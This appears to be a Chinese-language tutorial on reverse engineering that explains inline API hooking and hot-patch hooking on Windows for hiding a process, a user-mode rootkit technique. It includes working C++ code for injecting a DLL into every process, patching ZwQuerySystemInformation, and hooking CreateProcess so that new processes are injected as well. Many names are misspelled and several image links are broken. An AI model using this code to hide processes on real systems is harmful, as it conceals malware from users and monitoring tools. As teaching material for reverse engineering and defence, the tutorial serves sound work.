通过修改API代码(Code Patch)实现API钩取的技术,有关全局钩取(Global hooking),它可以钩取所有进程。使用上述方法隐藏(Stealth)特定进程。
提示:隐藏进程(stealth process)在代码逆向分析领域中的专业术语为Rootkit,是指通过修改(hooking)系统内核来隐藏进程、文件、注册表等的一种技术。

技术图表

0{0E%VM~7L6V(RS)_1C4P}S.png
库文件被加载到进程内存后,在其目录映像中直接修改要钩取的API代码本身,这就是所谓的API代码修改技术。该技术广泛用于API钩取。
提示:前面讲过IAT钩取技术,如果要钩取的API不在进程的IAT中,那么就无法使用该技术。反之API代码修改没有这一限制。
另外为了灵活运用目标进程的内存空间,此处使用了dll注入技术。

API代码修改技术原理

IAT钩取通过操作进程的特定IAT值来实现API钩取,而API代码修改技术则将API代码的前5个字节修改为JMP XXXXXXXX指令来钩取API。调用执行被钩取的API时,修改后的指令就会被执行,转而控制hooking函数,后面图33-3描述的是,向Process Explorer进程注入stealth.dll文件后钩取ntdll.ZwQuerySystemInformatica() API的整个过程(ntdll.ZwQuerySystemInformatica() API是为了隐藏进程而需要钩取的API)。

钩取之前

首先看一下钩取之前正常调用API的进程内存。图中描述的是正常调用API的情形。
![`EQNK483JWW4D%P364T_%W.png
procexp.exe代码调用ntdll.ZwQuerySystemInformatica() API时,程序执行流顺序如下。
①procexp.exe的00422CF7地址处的CALL DWORD PTR DS:[48C69C]指令调用ntdll.ZwQuerySystemInformati
ca() API(48C69C地址在进程的IAT区域中,其值为7C93D92E,它是ntdll.ZwQuerySystemInformatica() API的起始地址)。
②相应API执行完毕后,返回到调用代码的下一条指令的地址处。

钩取之后

钩取zhidingAPI后程序执行的过程。先把stealth.dll注入目标进程(procexp.exe),直接修改ntdll.ZwQuery
SystemInformatica() API的代码(Code Patch),如图所示。
7%L3{I3U@XN(~26WQ(F))PS.png
首先把stealth.dll注入目标进程,钩取ntdll.ZwQuerySystemInformatica() API。ntdll.ZwQuerySystemInformatica() API起始地址(7C93D92E)的5个字节代码被修改为JMP 10001120(仅修改5个代码字节)。10001120是stealth.MyZwQuerySystemInformation()函数的地址。此时,在procexp.exe代码中调用ntdll.ZwQuerySystemInformatica() API,程序将按如下顺序执行。
①在422CF7地址处调用ntdll.ZwQuerySystemInformatica() API。
②位于7C93D92E地址处的(修改后的)JMP 10001120指令将执行流转到10001120地址处(hooking函数)。1000116A地址处的CALL unhook()指令用来将ntdll.ZwQuerySystemInformatica() API的起始5个字节恢复原值。
③位于1000119B地址处的CALL EAX(7C93D92E)指令将调用原来的函数(ntdll.ZwQuerySystemInformatica() API)(由于前面已完成脱钩,所以可以正常调用操作)。
④ntdll.ZwQuerySystemInformatica()执行完毕后,由7C93D92E地址处的RETN 10指令返回到stealth.dll代码区域(调用自身位置)。然后10001212地址处的CALL hook()指令再次钩取ntdll.ZwQuerySystemInformatica() API(即将开始的5字节修改为JMP 10001120指令)。
⑤stealth.MyZwQuerySystemInformation()函数执行完毕后,由10001233地址处的RETN 10命令返回到procexp.exe进程的代码区域,继续执行。
使用API代码修改技术的好处是可以钩取进程中使用的任意API。唯一限制是要钩取的API代码长度要大于5个字节,单数由于所有API代码长度都大于5个字节,所以事实上这个限制是不存在的。

进程隐藏

进程隐藏的相关内容信息已经得到大量公开,其中用户模式下最常用的是ntdll.ZwQuerySystemInformatica() API钩取技术。

进程隐藏工作原理

为了隐藏某个特定进程,要潜入其他所有进程内存,钩取相关API。也就是说,实现进程隐藏的关键不是进程自身,而是其他进程。通过某种方法使雷达发生故障,使雷达无法正常工作,普通战斗机就变成了隐形战机。

相关API

由于进程是内核对象,所以用户模式下的程序只要通过相关API就能检测到它们。用户模式下检测进程的相关API通常分为如下2类。
1.CreateToolhelp32Snapshot()&EnumProcess()
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
BOOL EnumPeocessees(
DWORD pProcessIds,
DWORD cb,
DWORD
pBytesReturned
);
上面2个API均在其内部调用了ntdll.ZwQuerySystemInformatica() API。
2.ZwQuerySystemInfomation()
NTSTATUS ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystenInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
借助ZwQuerySystemInformation() API可以获取运行中的所有进程信息(结构体),形成一个链表(Linked list)。操作链表(从链表中删除)即可隐藏相关进程。所以在用户模式下不需要分别钩取CreateToolhelp32Snap
shuot()与EnumProcess(),只需要钩取Z我QuerySystemInformation() API就可隐藏指定进程。我们钩取的目标进程不是要隐藏的进程,而是其他进程。

隐藏技术的问题

假如要隐藏的进程为text.exe,如果钩取运行中的进程查看器或者任务管理器的ZwQuerySystemInformation() API,那么它就无法查找到text.exe。但是该方法存在两个问题。除了这两个工具外还有许多其他的进程检索工具。要想把某个进程隐藏起来,需要钩取系统中运行的所有进程。由于第一个进程管理器的进程已经被钩取,所以它查不到text.exe进程,若再运行一个进程管理器,由于其进程未被钩取,所以仍能正常查找到text.exe进程。
为了解决以上两个问题,隐藏text.exe进程时需要钩取系统中运行的所有进程的ZwQuerySystemInformation() API,并且对后面将要启动运行的所有进程也做相同的钩取操作(操作自动进行)。这就是全局钩取的概念,需要在整个系统范围内进行钩取操作。

练习#1(HideProc.exe,stealth.dll)

HideProc.exe负责将stealth.dll文件注入所有运行中的进程。Stealth.dl负责钩取注入stealth.dll文件的进程的ntdll.ZwQuerySystemInformatica() API。
首先分别运行notepad.exe(要隐藏的进程)、procexp.exe(钩取对象1)、taskmgr.exe进程(钩取对象2)。

HideProc.cpp

HideProc.exe程序负责向运行中的所有进程注入/卸载指定DLL文件,它在原有InjectDll.exe程序基础上添加了向所有进程注入DLL的功能。
InjectAllProcess()
InjectAllProcess()是hideproc.exe程序的核心函数,它首先检索运行中的所有进程,然后分别将指定DLL注入各进程或从各进程卸载。

  1. BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
  2. {
  3. DWORD dwPID = 0;
  4. HANDLE hSnapShot = INVALID_HANDLE_VALUE;
  5. PROCESSENTRY32 pe;
  6. // 获取系统快照
  7. pe.dwSize = sizeof( PROCESSENTRY32 );
  8. hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
  9. // 查找进程
  10. Process32First(hSnapShot, &pe);
  11. do
  12. {
  13. dwPID = pe.th32ProcessID;
  14. // 基于系统安全性的考虑
  15. //对于PID小于100的系统进程
  16. //不执行DLL注入操作
  17. if( dwPID < 100 )
  18. continue;
  19. if( nMode == INJECTION_MODE )
  20. InjectDll(dwPID, szDllPath);
  21. else
  22. EjectDll(dwPID, szDllPath);
  23. }
  24. while( Process32Next(hSnapShot, &pe) );
  25. CloseHandle(hSnapShot);
  26. return TRUE;
  27. }

首先使用CreateToolhelp32Snapshot() API获取系统中运行的所有进程的列表,然后使用Process32First()与Process32Next() API将获得的进程信息存放到PROCESSENTRY32结构体变量pe中,进而获取进程的PID。
以下是CreateToolhelp32Snapshot()、Process32First()、Process32Next() API的函数定义。
HANDLE WINAPI CreateToolhelp32Snapshot(
in DWORD dwFlags,
in DWORD th32ProcessID
);

BOOL WINAPI Process32First(
in HANDLE hSnapshot,
inout LPPROCESSENTRY32 lppe
);

BOOL WINAPI Process32Next(
in HANDLE hSnapshot,
out LPPROCESSENTRY32 lppe
);
提示:只有先提升HideProce.exe进程的权限,才能准确获取所有进程的列表。在HideProc.cpp中,main()函数中调用了SetPrivilege()函数,而SetPrivilege()函数内部又调用了AdjustTokenPrivileges() API为HideProc.exe提升权限。
需要注意的一点是,某进程的PID小于100时,则忽略它,不进行操作。原因在于系统进程的PID一般都小于100,为保证系统安全性,不会对这些文件注入DLL文件。

stealth.cpp

实际的API钩取操作由Stealth.dll文件负责,首先看导出函数SepProcName()。

  1. // global variable (in sharing memory)
  2. #pragma comment(linker, "/SECTION:.SHARE,RWS")
  3. #pragma data_seg(".SHARE")
  4. TCHAR g_szProcName[MAX_PATH] = {0,};
  5. #pragma data_seg()
  6. //export function
  7. #ifdef __cplusplus
  8. extern "C" {
  9. #endif
  10. __declspec(dllexport) void SetProcName(LPCTSTR szProcName)
  11. {
  12. _tcscpy_s(g_szProcName, szProcName);
  13. }
  14. #ifdef __cplusplus
  15. }
  16. #endif

以上代码先创建名为“.SHARE”的共享内存节区,然后创建g_szProcName缓冲区,最后再由导出函数SeProcName()将要隐藏的进程名称保存到g_szProcName中(SetProcName()函数在Hideproc.exe中被调用执行)。
提示:在共享内存节区创建g_szProcName缓冲区的好处在于,stealth.dll被注入所有进程时,可以彼此共享隐藏进程的名称,随着程序不断改进甚至也可以做到动态修改隐藏进程。
DllMain()

  1. BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  2. {
  3. char szCurProc[MAX_PATH] = {0,};
  4. char *p = NULL;
  5. // #1.异常处理
  6. // 若当前进程为HideProc.exe则终止,不进行钩取操作。
  7. GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
  8. p = strrchr(szCurProc, '\\');
  9. if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
  10. return TRUE;
  11. switch( fdwReason )
  12. {
  13. // #2. API钩取
  14. case DLL_PROCESS_ATTACH :
  15. hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
  16. (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
  17. break;
  18. // #3. API脱钩
  19. case DLL_PROCESS_DETACH :
  20. unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
  21. g_pOrgBytes);
  22. break;
  23. }
  24. return TRUE;
  25. }

hook_by_code()
该函数通过修改代码实现API钩取操作。

  1. BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
  2. {
  3. FARPROC pfnOrg;
  4. DWORD dwOldProtect, dwAddress;
  5. BYTE pBuf[5] = {0xE9, 0, };
  6. PBYTE pByte;
  7. // 获取要钩取的API地址
  8. pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
  9. pByte = (PBYTE)pfnOrg;
  10. // 若已被钩取则返回FALSE
  11. if( pByte[0] == 0xE9 )
  12. return FALSE;
  13. // 为了修改5个字节,先向内存添加“写”属性
  14. VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  15. // 备份原有代码(5字节)
  16. memcpy(pOrgBytes, pfnOrg, 5);
  17. // 计算JMP地址 (E9 XXXX)
  18. // => XXXX = pfnNew - pfnOrg - 5
  19. dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
  20. memcpy(&pBuf[1], &dwAddress, 4);
  21. // 钩子:修改5个字节 (JMP XXXX)
  22. memcpy(pfnOrg, pBuf, 5);
  23. // 恢复内存属性
  24. VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
  25. return TRUE;
  26. }

hook_by_code()函数参数介绍如下:
LPCTSTR szDllName:[IN]包含要钩取的API的DLL文件名称。
LPCTSTR szFuncName:[IN]要钩取的API名称。
PROC pfnNew:[IN]用户提供的钩取函数地址。
PBYTE pOrgBytes:[OUT]存储原来5个字节的缓冲区-后面“脱钩”时使用。
该函数用于将原来API代码的前5个字节更改为“JMP XXXXXXXX”指令。JMP指令对应的操作码为E9,后面面跟着4个字节的地址。也就是说JMP指令的Instruction实际形式为“E9 XXXXXXX”。需要注意XXXXXX地址值不是要跳转的绝对地址值,而是从当前JMP命令到跳转位置的相对距离。通过下述关系式可求得XXXXXXXX地址值。
XXXXXXXX=要跳转的地址-当前指令地址-当前指令长度(5)
最后又减去5个字节是因为JMP指令本身长度就是5个字节
JLN@PH1}I9{5YK6C028B5OH.png
]_EEL~I3WIE92C9]HG~~4SR.png
实际的ZwQuerySystemInformation() API钩取操作由hook_by_code()函数完成,下面使用OD对
ZwQuerySystemInformation() API钩取前/后进行调试(相应进程为procexp.exe)。
钩取之前
首先查看钩取前的ZwQuerySystemInformation() API代码。ZwQuerySystemInformation()的地址为7C93D92E,指令代码如图所示。
(T6QE7R]DSTKLX2]OA~N229.png
钩取之后
注入stealth.dll文件,由hook_by_code()函数钩取API后,代码如图所示。
XHUGB4L(IIJN`)1AH3ZDL6L.png
地址10001120就是钩取数stealth.NewZwQuerySystemInformation()的地址并且E9后面的4个字节(936C37ED)就是使用前面的公式计算而来。
提示:示例环境中,Stealth.dll加载到ProcExp.exe进程的10000000地址。

全局API钩取

全局API钩取实质也是一种API钩取技术,它针对的进程为:①当前运行的所有进程;②将来要运行的所有的进程。

Kernel32CreateProcess() API

Kernel32.CreateProcess() API用来创建新进程。其他启动运行进程的API(WinExec()、ShellExecute()、system())在其内部调用的也是该CreateProcess()函数
A(GPI%_1EZN_28VN22P{W$G.png
因此向当前运行的所有进程注入stealth.dll后,如果在stealth.dll中将CreateProcess() API也一起钩取,那么以后运行的进程也会自动注入stealth.dll文件。进一步说明如下:由于所有进程都是由父进程(使用CreateProcess())创建的,所以钩取父进程的CreateProcess() API就可以将stealth.dll文件注入所有子进程。钩取全局API时需要充分考虑以下几个方面。
(1)钩取CreateProcess() API时,还要分别钩取kernel32.CreateProcessA()、kernel32.CreateProcessW()这2个API(ASCII版本与Unicode版本)。
(2)CreateProcessA()、CreateProcessW()函数内部又分别调用了CreateProcessInternalA()、CreateProcess
InternalW()函数。常规编程中会大量使用CreateProcess()函数,但是微软的部分软件产品中会直接调用CreateProcessInternalA/W()这2个函数。所以具体实现全局API钩取时,为了准确起见,还要同时钩取上面两个函数(尽可能,尽量钩取低级别API)。
(3)钩取函数(NewCreateProcess)要钩取调用原函数(CreateProcess)而创建的子进程的API。因此极短时间内,子进程可能在未钩取的状态下运行。
进行全局API钩取时必须解决上述问题,幸运的是很多代码逆向分析高手发现了比kernel32.CreateProcess()更低级的API,钩取它效果会更好(能一次性解决所有问题)。这个API就是ntdll.ZwResumeThread() API。

Ntdll.ZwResumeThread() API

ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL
);
ZwResumeThread()函数在进程创建后、主线程运行前被调用执行(在CreateProcess() API内部调用执行)。所以只要钩取这个函数,即可在不运行子进程代码的状态下钩取API。但需要注意的是,ZwResumeThread()是一个尚未公开的API,将来的某个时候可能会被改变,这就无法保障安全性。所以,钩取类似尚未公开API时,要时刻记得,随着OS补丁升级,该API可能更改,这可能使在低版本中正常运行的钩取操作到了新版本中突然无法运行。

练习#2(HideProc2.exe,Srealth2.dll)

为操作简单,本练习中只隐藏notepad.exe。
为了把stealth2.dll文件注入所有运行进程,首先要把stealth2.dll文件复制到%SYSTEM%文件夹,所有进程都能识别到该路径,如图所示。
N~6$29(@_M){XVA_3{A0C40.png

源码分析

HideProc2.cpp

与前面的HideProc.cpp相比,HideProc2.cpp只是减少了运行参数的个数。

stealth2.cpp

与前面的stealth.cpp相比,不同之处在于将要隐藏的进程名称硬编码为notepad.exe,并且添加了钩取CreateProcessA()API与CreateProcessW()API的代码以便实现全局钩取操作。

利用“热补丁”技术钩取API

对代码NewCreateProcessA()函数的结构简单梳理如下:
NewCreateProcessA(…..)
{
//①“脱钩”
//②调用原始API
//③注入
//④挂钩
}
为正常调用原API,需要先脱钩(若不脱钩,调用原始API就会陷入无限循环)。然后在钩取函数(NewCreateProcessA)返回前再次挂钩,使之进入钩取状态。
也就是说,每当在程序内部调用CreateProcessA() API时,NewCreateProcessA()就会被调用执行,不断重复脱钩/挂钩。这种反复进行的操作不仅会造成整体性能低下,更严重的是在多线程环境下还会产生运行时错误,这是由脱钩/挂钩操作要对原API的前5个字节进行修改(覆写)引起的。
一个线程尝试运行某段代码时,若另一进程正在对该段代码进行“写”操作,这时就会出现冲突,最终引发运行时错误。所以我们需要一种更安全的API钩取技术。

“热补丁”(修改7个字节代码)

普通API起始代码的形态
先看看常用API的起始代码部分。
1[}SEOWS59V{N]11JT[5~01.png](https://cdn.nlark.com/yuque/0/2020/png/554486/1586077861186-f1da3e69-c1be-4c67-8f8b-af450453057c.png#align=left&display=inline&height=313&name=1%5B%7DSEOWS59V%7BN%5D11JT%5B5~01.png&originHeight=313&originWidth=477&size=73031&status=done&style=none&width=477)<br />![(VHG52UOM%AS70]K~FJZ~HP.png
以上列出的API起始代码有如下两个明显的相似点:
(1)API代码以“MOV EDI,EDI”指令开始(IA-32指令:0x8BFF)。
(2)API代码上方有5个NOP指令(IA-32指令:0x90)。
MOV EDI,EDI指令大小为2个字节,用于将EDI寄存器的值再次传送到EDI寄存器漆,这没什么实际意义。NOP指令为一个字节大小,不进行任何操作(该NOP指令存在于函数与函数之间,甚至都不会被执行)。也就是说,API起始代码的MOV指令(2个字节)与其上方的5个NOP指令(5个字节)合起来共7个字节的指令没有任何意义。
很显然,kernel32.dll、user32.dll、gdi32.dll是Windows OS相当重要的库。那么微软到底为什么要使用这种方式来制作系统库呢?原因是为了方便打热补丁,热补丁由API钩取组成,在进程处于运行状态时临时更改进程内存中的库文件(重启系统时,修改的目标库文件会被完全取代)。
工作原理及特征
要理解热补丁钩取方法的核心原理,需要先了解该方法的2种特征。下面使用热补丁方法钩取图33-16中的kermel32.CreateProcessA() API。
A.二次跳转
首先将API起始代码之前的5个字节修改为FAR JMP指令(E9 XXXXXXXX),跳转到用户钩取函数处(10001000)。然后将API起始代码的2个字节修改为SHORT JMP指令(EB F9)。该SHORT JMP指令用来跳转到前面的FAR JMP指令处。
L@13U{WZNHSJCE)W4$VTMN1.png
调用CreateProcessA() API时,遇到API起始地址(7C80236B)处的JMP SHORT 7C802366指令就会跳转到紧接其上方的指令地址(7C802366)。然后遇到JMP 10001000指令,跳转到实际钩取的函数地址(10001000)。像这样经过2次连续跳转,就完成了对指定API的钩取操作。这一过程中需注意的是,我们修改的7个字节的指令原来都是毫无意义的。
I5$@C[OX71D8G}14Q9E9]NU.png
B.不需要再钩取函数内部进行脱钩/挂钩操作
修改代码前5个字节进行钩取的技术使用时需要在钩取函数NewCreateProcessA()内部反复进行脱钩/挂钩。这可能导致系统稳定性下降。
而使用热补丁技术钩取API时,不需要在钩取函数内部进行钩取/脱钩操作。在5字节代码修改技术中该操作是为了“调用原函数”,而使用热补丁技术钩取API时,在API代码遭到修改的状态下也能正常调用原API。这是因为,从API角度看只是修改了其起始代码的MOV EDI,EDI指令,从[API起始地址+2]地址开始,仍然能正常调用原API,且执行的动作也完全一样。
以Kernel32.CreateProcessA()为例,从图33-16所示的原API起始地址(7C80236B)开始执行,与从图33-20中的[API起始地址+2]地址(7C80236B)开始执行结果完全一样。由于钩取函数中祛除了脱钩/挂钩操作,在多线程环境下使API钩取变得稳定。这正是二次条转的优势所在。

练习#3:stealth3.dll

stealth3.dll文件中使用了热补丁钩取技术,方法与stealth2.dll一样

源码分析

stealth3.cpp

hook_by_hotpatch()

  1. BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)
  2. {
  3. FARPROC pFunc;
  4. DWORD dwOldProtect, dwAddress;
  5. BYTE pBuf[5] = { 0xE9, 0, };
  6. BYTE pBuf2[2] = { 0xEB, 0xF9 };
  7. PBYTE pByte;
  8. pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
  9. pByte = (PBYTE)pFunc;
  10. if( pByte[0] == 0xEB )
  11. return FALSE;
  12. VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  13. // 1. NOP (0x90)
  14. dwAddress = (DWORD)pfnNew - (DWORD)pFunc;
  15. memcpy(&pBuf[1], &dwAddress, 4);
  16. memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
  17. // 2. MOV EDI, EDI (0x8BFF)
  18. memcpy(pFunc, pBuf2, 2);
  19. VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
  20. return TRUE;
  21. }

使用热补丁技术钩取API时,操作顺序非常重要。首先要将API起始地址上方的NOP5指令修改为JMP XXXXXX
。通过下面公式很容易求出XXXXXXX值(即上述代码中的dwAddress变量),计算公式如下所示:
dwAddress=(DWORD)pfnNew-(DWORD)pFunc;
![[MZQMS(W`7(077K4BBUWVE.png
求得XXXXXX值后,使用下述代码将NOP
5指令(5个字节大小)替换为JMP XXXXXXX指令。
memcpy(&pBuf[1],&dwAddress,4);
memcpy((LPVOID)((DWORD)pFunc-5),pBuf,5);
接下来将位于API起始地址处的MOV EDI,EDI指令(2个字节大小)替换为JMP YY指令。
memcpy(pFunc,pBuf2,2);
]I8R`K@I%X@AI)F{2650LU3.png
unhook_by_hotpatch()
该函数在热补丁技术中用来取消API钩取操作。

  1. BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)
  2. {
  3. FARPROC pFunc;
  4. DWORD dwOldProtect;
  5. PBYTE pByte;
  6. BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
  7. BYTE pBuf2[2] = { 0x8B, 0xFF };
  8. pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
  9. pByte = (PBYTE)pFunc;
  10. if( pByte[0] != 0xEB )
  11. return FALSE;
  12. VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  13. // 1. NOP (0x90)
  14. memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
  15. // 2. MOV EDI, EDI (0x8BFF)
  16. memcpy(pFunc, pBuf2, 2);
  17. VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
  18. return TRUE;
  19. }

上述代码用来将修改后的指令恢复为原来的NOP5与MOV EDI,EDI指令。热补丁技术中这些指令都是固定不变的,所以可以将它们硬编码到源代码。
*NewCreateProcessA()

  1. BOOL WINAPI NewCreateProcessA(
  2. LPCTSTR lpApplicationName,
  3. LPTSTR lpCommandLine,
  4. LPSECURITY_ATTRIBUTES lpProcessAttributes,
  5. LPSECURITY_ATTRIBUTES lpThreadAttributes,
  6. BOOL bInheritHandles,
  7. DWORD dwCreationFlags,
  8. LPVOID lpEnvironment,
  9. LPCTSTR lpCurrentDirectory,
  10. LPSTARTUPINFO lpStartupInfo,
  11. LPPROCESS_INFORMATION lpProcessInformation
  12. )
  13. {
  14. BOOL bRet;
  15. FARPROC pFunc;
  16. // 调用原始API
  17. pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
  18. pFunc = (FARPROC)((DWORD)pFunc + 2);
  19. bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
  20. lpCommandLine,
  21. lpProcessAttributes,
  22. lpThreadAttributes,
  23. bInheritHandles,
  24. dwCreationFlags,
  25. lpEnvironment,
  26. lpCurrentDirectory,
  27. lpStartupInfo,
  28. lpProcessInformation);
  29. // 向生成的子进程注入stealth2.dll
  30. if( bRet )
  31. InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
  32. return bRet;
  33. }

从上述代码中可以看到,不再调用unhook_by_code()与hook_by_code函数,且与已有函数根本的不同在于添加了计算pFunc的语句,如下所示:
pFunc=(FARPROC)((DWORD)pFunc+2);
该代码语句用于跳过位于API起始地址处的JMP YY指令(2个字节,原指令为MOV EDI,EDI),从紧接的下一
条指令开始执行,与调用原API的效果一样。

使用热补丁API钩取技术时需要考虑的问题

目标API必须满足NOP*5指令+MOV EDI,EDI指令,但是有些API不满足这些条件。
![{6[1OL{FTB2J9K[{A8[GPR.png](https://cdn.nlark.com/yuque/0/2020/png/554486/1586088476321-657a1e5b-c793-41d8-8a8a-53bdf2fc83ba.png#align=left&display=inline&height=168&name=%7B6%5B1OL%7BFTB2J9K%5B%7BA8%5BGPR.png&originHeight=168&originWidth=495&size=50355&status=done&style=none&width=495)
![38%NHC485YHOE]U`1%RO}6.png
![X1[~[%H]EDKEUMXZOP{X_7.png